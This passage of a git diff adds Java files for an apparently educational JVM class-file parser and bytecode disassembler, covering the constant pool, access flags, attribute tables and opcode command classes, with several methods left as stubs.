+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,40 @@
+package com.dudy.learn01.coderising.jvm.attr;
+
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+import com.dudy.learn01.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/StackMapTable.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..dcb5f3f2c1
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.dudy.learn01.coderising.jvm.attr;
+
+
+import com.dudy.learn01.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/AccessFlag.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..95ed555e0e
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.dudy.learn01.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassFile.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..ae9201c6fd
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,102 @@
+package com.dudy.learn01.coderising.jvm.clz;
+
+import com.dudy.learn01.coderising.jvm.constant.ClassInfo;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+import com.dudy.learn01.coderising.jvm.field.Field;
+import com.dudy.learn01.coderising.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassIndex.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..63a74c95a5
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.dudy.learn01.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/BiPushCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..2cb178133f
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,22 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/ByteCodeCommand.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..dd0c751d41
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,130 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantInfo;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/CommandParser.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..e575214e89
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,86 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+
+import java.util.List;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetFieldCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..f8288f81ec
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetStaticFieldCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..2a60aaf57c
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeSpecialCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..bae82fa144
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,21 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeVirtualCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..3247d36ed9
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/LdcCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..4615d143de
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,28 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantInfo;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+import com.dudy.learn01.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NewObjectCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..611c503bce
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NoOperandCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..12dc9aee67
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,22 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/OneOperandCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..097e83239a
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,28 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/PutFieldCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..4a819d1e5a
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,20 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/TwoOperandCmd.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..132c9313d2
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,64 @@
+package com.dudy.learn01.coderising.jvm.cmd;
+
+
+import com.dudy.learn01.coderising.jvm.constant.*;
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ClassInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..7e858fddd8
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..eff4475e02
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantPool.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..26637e950b
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/FieldRefInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7d80c44569
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
